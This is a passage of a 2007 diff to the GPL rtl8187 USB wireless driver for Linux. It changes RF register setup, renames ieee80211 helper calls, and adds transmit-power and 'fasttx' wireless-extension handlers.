0x1e, 0x95);mdelay(1); write_phy_ofdm(dev, 0x1f, 0x75); mdelay(1); // } - + write_phy_ofdm(dev, 0x20, 0x1f);mdelay(1); write_phy_ofdm(dev, 0x21, 0x17);mdelay(1); - + write_phy_ofdm(dev, 0x22, 0x16);mdelay(1); // if(priv->card_type != USB) write_phy_ofdm(dev, 0x23, 0x80);mdelay(1); //FIXME maybe not needed // <> - + write_phy_ofdm(dev, 0x24, 0x46); mdelay(1); write_phy_ofdm(dev, 0x25, 0x00); mdelay(1); write_phy_ofdm(dev, 0x26, 0x90); mdelay(1); write_phy_ofdm(dev, 0x27, 0x88); mdelay(1); - + // <> Set init. gain to m74dBm. - rtl8225z2_set_gain(dev,4); - + write_phy_cck(dev, 0x0, 0x98); mdelay(1); write_phy_cck(dev, 0x3, 0x20); mdelay(1); write_phy_cck(dev, 0x4, 0x7e); mdelay(1); @@ -875,6 +901,9 @@ /* Ver C & D & 8187*/ write_phy_cck(dev, 0x8, 0x2e);mdelay(1); + write_phy_cck(dev, 0x9, 0x11);mdelay(1); + write_phy_cck(dev, 0xa, 0x17);mdelay(1); + write_phy_cck(dev, 0xb, 0x11);mdelay(1); write_phy_cck(dev, 0x10, ((priv->card_type == USB) ? 0x9b: 0x93)); mdelay(1); write_phy_cck(dev, 0x11, 0x88); mdelay(1); @@ -885,52 +914,59 @@ else #endif write_phy_cck(dev, 0x13, 0xd0); /* Ver C & D & 8187*/ - - write_phy_cck(dev, 0x19, 0x0); - write_phy_cck(dev, 0x1a, 0xa0); - write_phy_cck(dev, 0x1b, 0x8); - write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ - - write_phy_cck(dev, 0x41, 0x8d);mdelay(1); - +// write_phy_cck(dev, 0x19, 0x0); +// write_phy_cck(dev, 0x1a, 0xa0); +// write_phy_cck(dev, 0x1b, 0x8); +// write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ + write_phy_cck(dev, 0x19, 0x0); mdelay(1); + write_phy_cck(dev, 0x1a, 0xa0); mdelay(1); + write_phy_cck(dev, 0x1b, 0x8); mdelay(1); + write_phy_cck(dev, 0x1d, 0x0); mdelay(1); + write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ mdelay(1); + write_phy_cck(dev, 0x41, 0x86); mdelay(1); + + +// write_phy_cck(dev, 0x41, 0x8d);mdelay(1); + + write_phy_cck(dev, 0x42, 0x15); mdelay(1); write_phy_cck(dev, 0x43, 0x18); mdelay(1); - - + + write_phy_cck(dev, 0x44, 0x36); mdelay(1); write_phy_cck(dev, 0x45, 0x35); mdelay(1); write_phy_cck(dev, 0x46, 0x2e); mdelay(1); write_phy_cck(dev, 0x47, 0x25); mdelay(1); write_phy_cck(dev, 0x48, 0x1c); mdelay(1); write_phy_cck(dev, 0x49, 0x12); mdelay(1); - write_phy_cck(dev, 0x4a, 0x9); mdelay(1); - write_phy_cck(dev, 0x4b, 0x4); mdelay(1); + write_phy_cck(dev, 0x4a, 0x09); mdelay(1); + write_phy_cck(dev, 0x4b, 0x04); mdelay(1); write_phy_cck(dev, 0x4c, 0x5);mdelay(1); write_nic_byte(dev, 0x5b, 0x0d); mdelay(1); - + // <> // // TESTR 0xb 8187 // write_phy_cck(dev, 0x10, 0x93);// & 0xfb); -// +// // //if(priv->card_type != USB){ // write_phy_ofdm(dev, 0x2, 0x62); // write_phy_ofdm(dev, 0x6, 0x0); // write_phy_ofdm(dev, 0x8, 0x0); // //} - + rtl8225z2_SetTXPowerLevel(dev, channel); - + write_phy_cck(dev, 0x10, 0x9b); mdelay(1); /* Rx ant A, 0xdb for B */ write_phy_ofdm(dev, 0x26, 0x90); mdelay(1); /* Rx ant A, 0x10 for B */ - + rtl8185_tx_antenna(dev, 0x3); /* TX ant A, 0x0 for B */ - - /* switch to high-speed 3-wire + + /* switch to high-speed 3-wire * last digit. 2 for both cck and ofdm */ if(priv->card_type == USB) @@ -943,23 +979,23 @@ // if(priv->card_type != USB) // rtl8225_set_gain(dev, 4); /* FIXME this '1' is random */ // <> // rtl8225_set_mode(dev, 1); /* FIXME start in B mode */ // <> -// +// // /* make sure is waken up! */ // write_rtl8225(dev,0x4, 0x9ff); -// rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); +// rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); // rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - + rtl8225_rf_set_chan(dev, priv->chan); //write_nic_word(dev,BRSR,brsr); - + //rtl8225z2_rf_set_mode(dev); } -void rtl8225z2_rf_set_mode(struct net_device *dev) +void rtl8225z2_rf_set_mode(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(priv->ieee80211->mode == IEEE_A) { write_rtl8225(dev, 0x5, 0x1865); @@ -970,15 +1006,15 @@ write_phy_ofdm(dev, 0xb, 0x99); write_phy_ofdm(dev, 0xf, 0x20); write_phy_ofdm(dev, 0x11, 0x7); - + rtl8225z2_set_gain(dev,4); - + write_phy_ofdm(dev,0x15, 0x40); write_phy_ofdm(dev,0x17, 0x40); - + write_nic_dword(dev, 0x94,0x10000000); }else{ - + write_rtl8225(dev, 0x5, 0x1864); write_nic_dword(dev, RF_PARA, 0x10044); write_nic_dword(dev, RF_TIMING, 0xa8008); @@ -987,12 +1023,12 @@ write_phy_ofdm(dev, 0xb, 0x99); write_phy_ofdm(dev, 0xf, 0x20); write_phy_ofdm(dev, 0x11, 0x7); - + rtl8225z2_set_gain(dev,4); - + write_phy_ofdm(dev,0x15, 0x40); write_phy_ofdm(dev,0x17, 0x40); - + write_nic_dword(dev, 0x94,0x04000002); } } diff -Naur rtl8187_orig/beta-8187/r8180_wx.c rtl8187_rawtx/beta-8187/r8180_wx.c --- rtl8187_orig/beta-8187/r8180_wx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_wx.c 2007-06-21 23:44:42.000000000 +0200 @@ -1,19 +1,19 @@ -/* +/* This file contains wireless extension handlers. This is part of rtl8180 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part + + Parts of this driver are based on the GPL part of the official realtek driver. - - Parts of this driver are based on the rtl8180 driver skeleton + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver. - - We want to tanks the Authors of those projects and the Ndiswrapper + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -21,20 +21,21 @@ #include "r8187.h" #include "r8180_hw.h" +#include "r8180_rtl8225.h" #define RATE_COUNT 4 u32 rtl8180_rates[] = {1000000,2000000,5500000,11000000, 6000000,9000000,12000000,18000000,24000000,36000000,48000000,54000000}; - + static int r8180_wx_get_freq(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_freq(priv->ieee80211,a,wrqu,b); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_freq_rtl7(priv->ieee80211,a,wrqu,b); } @@ -45,28 +46,28 @@ { int *parms = (int *)b; int bi = parms[0]; - - struct r8180_priv *priv = ieee80211_priv(dev); - + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); DMESG("setting beacon interval to %x",bi); - + priv->ieee80211->beacon_interval=bi; rtl8180_commit(dev); up(&priv->wx_sem); - - return 0; + + return 0; } static int r8180_wx_set_forceassociate(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); int *parms = (int *)extra; - + priv->ieee80211->force_associate = (parms[0] > 0); - + return 0; } @@ -75,108 +76,186 @@ static int r8180_wx_get_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); - return ieee80211_wx_get_mode(priv->ieee80211,a,wrqu,b); + return ieee80211_wx_get_mode_rtl7(priv->ieee80211,a,wrqu,b); } -static int r8180_wx_get_rate(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_rate(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_rate(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_rate_rtl7(priv->ieee80211,info,wrqu,extra); } -static int r8180_wx_set_rate(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_rate(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); + ret = ieee80211_wx_set_rate_rtl7(priv->ieee80211,info,wrqu,extra); - ret = ieee80211_wx_set_rate(priv->ieee80211,info,wrqu,extra); - up(&priv->wx_sem); - + return ret; } -static int r8180_wx_set_rawtx(struct net_device *dev, - struct iw_request_info *info, - union iwreq_data *wrqu, char *extra) +static int r8180_wx_get_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - int ret; - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i=0; down(&priv->wx_sem); - - ret = ieee80211_wx_set_rawtx(priv->ieee80211, info, wrqu, extra); - + wrqu->power.value = 0; + for(i=0; i<15; i++) + { + if(priv->chtxpwr[i] > wrqu->power.value) wrqu->power.value = priv->chtxpwr[i]; + if(priv->chtxpwr_ofdm[i] > wrqu->power.value) wrqu->power.value = priv->chtxpwr_ofdm[i]; + } + wrqu->power.fixed = 1; + wrqu->power.flags = IW_TXPOW_DBM; + wrqu->power.disabled = 0; up(&priv->wx_sem); - + + return 0; +} + +#if 1 +static int r8180_wx_set_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + int ret = 0, i=0; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + down(&priv->wx_sem); + + if (wrqu->power.flags != IW_TXPOW_DBM) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value > priv->txpwr_max) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value < 0) + { + ret = -EINVAL; + goto out; + } + + for(i=1;i<15;i++) + { + priv->chtxpwr[i] = priv->chtxpwr_orig[i] - (priv->txpwr_max - wrqu->power.value); + if(priv->chtxpwr[i] > priv->chtxpwr_orig[i]) priv->chtxpwr[i] = 0; + + priv->chtxpwr_ofdm[i] = priv->chtxpwr_ofdm_orig[i] - (priv->txpwr_max - wrqu->power.value); + if(priv->chtxpwr_ofdm[i] > priv->chtxpwr_ofdm_orig[i]) priv->chtxpwr_ofdm[i] = 0; + } + rtl8225z2_SetTXPowerLevel(dev, 1); + + out: + up(&priv->wx_sem); + return ret; - + } +#endif -static int r8180_wx_set_crcmon(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_crcmon(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = priv->crcmon; down(&priv->wx_sem); - - if(enable) + + if(enable) priv->crcmon=1; - else + else priv->crcmon=0; - DMESG("bad CRC in monitor mode are %s", + DMESG("bad CRC in monitor mode are %s", priv->crcmon ? "accepted" : "rejected"); if(prev != priv->crcmon && priv->up){ rtl8180_down(dev); rtl8180_up(dev); } - + up(&priv->wx_sem); - + + return 0; +} + +static int r8180_wx_set_fasttx(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int *parms = (int *)extra; + int enable = (parms[0] > 0); + short prev = priv->fasttx; + + down(&priv->wx_sem); + + if(enable) + priv->fasttx=1; + else + priv->fasttx=0; + + DMESG("Transmission method (regarding speed) set to: %s", + priv->fasttx ? "fast" : "normal"); + + if(prev != priv->fasttx && priv->up){ + rtl8180_down(dev); + rtl8180_up(dev); + } + + up(&priv->wx_sem); + return 0; } static int r8180_wx_set_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_mode(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_mode_rtl7(priv->ieee80211,a,wrqu,b); + rtl8187_set_rxconf(dev); - + up(&priv->wx_sem); return ret; } -static int rtl8180_wx_get_range(struct net_device *dev, - struct iw_request_info *info, +static int rtl8180_wx_get_range(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { struct iw_range *range = (struct iw_range *)extra; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u16 val; int i; @@ -186,26 +265,26 @@ /* Let's try to keep this struct in the same order as in * linux/include/wireless.h */ - + /* TODO: See what values we can set, and remove the ones we can't * set, or fill them with some default data. */ /* ~5 Mb/s real (802.11b) */ - range->throughput = 5 * 1000 * 1000; + range->throughput = 5 * 1000 * 1000; // TODO: Not used in 802.11b? // range->min_nwid; /* Minimal NWID we are able to set */ // TODO: Not used in 802.11b? // range->max_nwid; /* Maximal NWID we are able to set */ - + /* Old Frequency (backward compat - moved lower ) */ -// range->old_num_channels; +// range->old_num_channels; // range->old_num_frequency; // range->old_freq[6]; /* Filler to keep "version" at the same offset */ if(priv->rf_set_sens != NULL) range->sensitivity = priv->max_sens; /* signal level threshold range */ - + range->max_qual.qual = 100; /* TODO: Find real max RSSI and stick here */ range->max_qual.level = 0; @@ -219,14 +298,14 @@ range->avg_qual.updated = 7; /* Updated all three */ range->num_bitrates = RATE_COUNT; - + for (i = 0; i < RATE_COUNT && i < IW_MAX_BITRATES; i++) { range->bitrate[i] = rtl8180_rates[i]; } - + range->min_frag = MIN_FRAG_THRESHOLD; range->max_frag = MAX_FRAG_THRESHOLD; - + range->pm_capa = 0; range->we_version_compiled = WIRELESS_EXT; @@ -243,18 +322,18 @@ range->num_channels = 14; for (i = 0, val = 0; i < 14; i++) { - + // Include only legal frequencies for some countries if ((priv->challow)[i+1]) { range->freq[val].i = i + 1; - range->freq[val].m = ieee80211_wlan_frequencies[i] * 100000; + range->freq[val].m = ieee80211_wlan_frequencies_rtl7[i] * 100000; range->freq[val].e = 1; val++; } else { // FIXME: do we need to set anything for channels // we don't use ? } - + if (val == IW_MAX_FREQUENCIES) break; } @@ -267,15 +346,15 @@ static int r8180_wx_set_scan(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + if(!priv->up) return -1; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_scan(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_scan_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); return ret; } @@ -286,50 +365,50 @@ { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(!priv->up) return -1; - + down(&priv->wx_sem); - ret = ieee80211_wx_get_scan(priv->ieee80211,a,wrqu,b); - + ret = ieee80211_wx_get_scan_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); - + return ret; } -static int r8180_wx_set_essid(struct net_device *dev, +static int r8180_wx_set_essid(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int ret; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_essid(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_essid_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); return ret; } -static int r8180_wx_get_essid(struct net_device *dev, +static int r8180_wx_get_essid(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_get_essid(priv->ieee80211, a, wrqu, b); + + ret = ieee80211_wx_get_essid_rtl7(priv->ieee80211, a, wrqu, b); up(&priv->wx_sem); - + return ret; } @@ -338,30 +417,30 @@ union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_freq(priv->ieee80211, a, wrqu, b); - + + ret = ieee80211_wx_set_freq_rtl7(priv->ieee80211, a, wrqu, b); + up(&priv->wx_sem); return ret; } -static int r8180_wx_get_name(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_name(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_name(priv->ieee80211, info, wrqu, extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_name_rtl7(priv->ieee80211, info, wrqu, extra); } -static int r8180_wx_set_frag(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_frag(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (wrqu->frag.disabled) priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; @@ -369,7 +448,7 @@ if (wrqu->frag.value < MIN_FRAG_THRESHOLD || wrqu->frag.value > MAX_FRAG_THRESHOLD) return -EINVAL; - + priv->ieee80211->fts = wrqu->frag.value & ~0x1; } @@ -377,11 +456,11 @@ } -static int r8180_wx_get_frag(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_frag(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); wrqu->frag.value = priv->ieee80211->fts; wrqu->frag.fixed = 0; /* no auto select */ @@ -397,49 +476,49 @@ char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_wap(priv->ieee80211,info,awrq,extra); - + + ret = ieee80211_wx_set_wap_rtl7(priv->ieee80211,info,awrq,extra); + up(&priv->wx_sem); return ret; - + } - -static int r8180_wx_get_wap(struct net_device *dev, - struct iw_request_info *info, + +static int r8180_wx_get_wap(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_wap(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_wap_rtl7(priv->ieee80211,info,wrqu,extra); } -static int r8180_wx_get_enc(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_enc(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_encode(priv->ieee80211, info, wrqu, key); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_encode_rtl7(priv->ieee80211, info, wrqu, key); } -static int r8180_wx_set_enc(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_enc(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - + DMESG("Setting SW wep key"); - ret = ieee80211_wx_set_encode(priv->ieee80211,info,wrqu,key); - + ret = ieee80211_wx_set_encode_rtl7(priv->ieee80211,info,wrqu,key); + up(&priv->wx_sem); return ret; } @@ -447,28 +526,28 @@ static int r8180_wx_set_scan_type(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *p){ - - struct r8180_priv *priv = ieee80211_priv(dev); + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms=(int*)p; int mode=parms[0]; - + priv->ieee80211->active_scan = mode; - + return 1; } -static int r8180_wx_set_retry(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_retry(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int err = 0; - + down(&priv->wx_sem); - - if (wrqu->retry.flags & IW_RETRY_LIFETIME || + + if (wrqu->retry.flags & IW_RETRY_LIFETIME || wrqu->retry.disabled){ err = -EINVAL; goto exit; @@ -485,13 +564,13 @@ if (wrqu->retry.flags & IW_RETRY_MAX) { priv->retry_rts = wrqu->retry.value; DMESG("Setting retry for RTS/CTS data to %d", wrqu->retry.value); - + }else { priv->retry_data = wrqu->retry.value; DMESG("Setting retry for non RTS/CTS data to %d", wrqu->retry.value); } - - /* FIXME ! + + /* FIXME ! * We might try to write directly the TX config register * or to restart just the (R)TX process. * I'm unsure if whole reset is really needed @@ -503,28 +582,28 @@ rtl8180_rtx_disable(dev); rtl8180_rx_enable(dev); rtl8180_tx_enable(dev); - + } */ exit: up(&priv->wx_sem); - + return err; } -static int r8180_wx_get_retry(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_retry(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + wrqu->retry.disabled = 0; /* can't be disabled */ - if ((wrqu->retry.flags & IW_RETRY_TYPE) == - IW_RETRY_LIFETIME) + if ((wrqu->retry.flags & IW_RETRY_TYPE) == + IW_RETRY_LIFETIME) return -EINVAL; - + if (wrqu->retry.flags & IW_RETRY_MAX) { wrqu->retry.flags = IW_RETRY_LIMIT & IW_RETRY_MAX; wrqu->retry.value = priv->retry_rts; @@ -533,30 +612,30 @@ wrqu->retry.value = priv->retry_data; } //DMESG("returning %d",wrqu->retry.value); - + return 0; } -static int r8180_wx_get_sens(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_sens(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - if(priv->rf_set_sens == NULL) + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(priv->rf_set_sens == NULL) return -1; /* we have not this support for this radio */ wrqu->sens.value = priv->sens; return 0; } -static int r8180_wx_set_sens(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_sens(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - - struct r8180_priv *priv = ieee80211_priv(dev); - + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + short err = 0; down(&priv->wx_sem); //DMESG("attempt to set sensivity to %ddb",wrqu->sens.value); @@ -571,7 +650,7 @@ exit: up(&priv->wx_sem); - + return err; } @@ -623,50 +702,49 @@ dummy, /* SIOCGIWRTS */ r8180_wx_set_frag, /* SIOCSIWFRAG */ r8180_wx_get_frag, /* SIOCGIWFRAG */ - dummy, /* SIOCSIWTXPOW */ - dummy, /* SIOCGIWTXPOW */ + r8180_wx_set_txpow, /* SIOCSIWTXPOW */ + r8180_wx_get_txpow, /* SIOCGIWTXPOW */ r8180_wx_set_retry, /* SIOCSIWRETRY */ r8180_wx_get_retry, /* SIOCGIWRETRY */ r8180_wx_set_enc, /* SIOCSIWENCODE */ r8180_wx_get_enc, /* SIOCGIWENCODE */ dummy, /* SIOCSIWPOWER */ dummy, /* SIOCGIWPOWER */ -}; +}; -static const struct iw_priv_args r8180_private_args[] = { - +static const struct iw_priv_args r8180_private_args[] = { { - SIOCIWFIRSTPRIV + 0x0, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" - }, - + SIOCIWFIRSTPRIV + 0x0, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "fasttx" + }, + { SIOCIWFIRSTPRIV + 0x1, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "activescan" - + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" }, + { - SIOCIWFIRSTPRIV + 0x2, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "rawtx" + SIOCIWFIRSTPRIV + 0x2, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "activescan" + } }; static iw_handler r8180_private_handler[] = { -// r8180_wx_set_monitor, /* SIOCIWFIRSTPRIV */ + r8180_wx_set_fasttx, /* SIOCIWFIRSTPRIV */ r8180_wx_set_crcmon, /*SIOCIWSECONDPRIV*/ // r8180_wx_set_forceassociate, // r8180_wx_set_beaconinterval, // r8180_wx_set_monitor_type, r8180_wx_set_scan_type, - r8180_wx_set_rawtx, }; -#if WIRELESS_EXT >= 17 +#if WIRELESS_EXT >= 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } @@ -679,8 +757,8 @@ .private = r8180_private_handler, .num_private = sizeof(r8180_private_handler) / sizeof(iw_handler), .num_private_args = sizeof(r8180_private_args) / sizeof(struct iw_priv_args), -#if WIRELESS_EXT >= 17 +#if WIRELESS_EXT >= 17 .get_wireless_stats = r8180_get_wireless_stats, #endif - .private_args = (struct iw_priv_args *)r8180_private_args, + .private_args = (struct iw_priv_args *)r8180_private_args, }; diff -Naur rtl8187_orig/beta-8187/r8187_core.c rtl8187_rawtx/beta-8187/r8187_core.c --- rtl8187_orig/beta-8187/r8187_core.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8187_core.c 2007-06-21 23:44:42.000000000 +0200 @@ -1,27 +1,27 @@ /* This is part of rtl8187 OpenSource driver - v 0.1 - Copyright (C) Andrea Merello 2005 + Copyright (C) Andrea Merello 2005 Released under the terms of GPL (General Public License) - - - Parts of this driver are based on the rtl8180 driver skeleton + + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2*00 GPL drivers. - + some ideas might be derived from David Young rtl8180 netbsd driver. - + Parts of the usb code are from the r8150.c driver in linux kernel - + Some ideas borrowed from the 8139too.c driver included in linux kernel. - - We (I?) want to thanks the Authors of those projecs and also the + + We (I?) want to thanks the Authors of those projecs and also the Ndiswrapper's project Authors. - - A special big thanks goes also to Realtek corp. for their help in my - attempt to add RTL8187 and RTL8225 support, and to David Young also. - - Please note that this file is a modified version from rtl8180-sa2400 + A special big thanks goes also to Realtek corp. for their help in my + attempt to add RTL8187 and RTL8225 support, and to David Young also. + + - Please note that this file is a modified version from rtl8180-sa2400 drv. So some other people have contributed to this project, and they are thanked in the rtl8180-sa2400 CHANGELOG. */ @@ -57,6 +57,7 @@ #undef DEBUG_IRQ_TASKLET #undef DEBUG_TX_ALLOC #undef DEBUG_TX_DESC +#undef DEBUG_TX_POWER //#define CONFIG_RTL8180_IO_MAP @@ -66,6 +67,9 @@ #include "r8180_93cx6.h" /* Card EEPROM */ #include "r8180_wx.h" +#if !(defined(CONFIG_USB_EHCI_HCD) || defined (CONFIG_USB_EHCI_HCD_MODULE)) + #error Build your kernel with ehci_hcd support! +#endif // FIXME: check if 2.6.7 is ok #if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,7)) @@ -98,6 +102,10 @@ #endif static int channels = 0x3fff; +// #define DEBUG_EPROM +// #define DEBUG_REGISTERS +// #define DEBUG_TX_POWER + MODULE_LICENSE("GPL"); MODULE_VERSION("V 1.1"); MODULE_DEVICE_TABLE(usb, rtl8187_usb_id_tbl); @@ -137,7 +145,7 @@ static int __devinit rtl8187_usb_probe(struct usb_interface *intf, const struct usb_device_id *id); - + static void __devexit rtl8187_usb_disconnect(struct usb_interface *intf); static struct usb_driver rtl8187_usb_driver = { @@ -158,13 +166,12 @@ #endif }; - void write_nic_byte_E(struct net_device *dev, int indx, u8 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xfe00, 0, &data, 1, HZ / 2); @@ -173,10 +180,10 @@ void write_nic_byte(struct net_device *dev, int indx, u8 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, 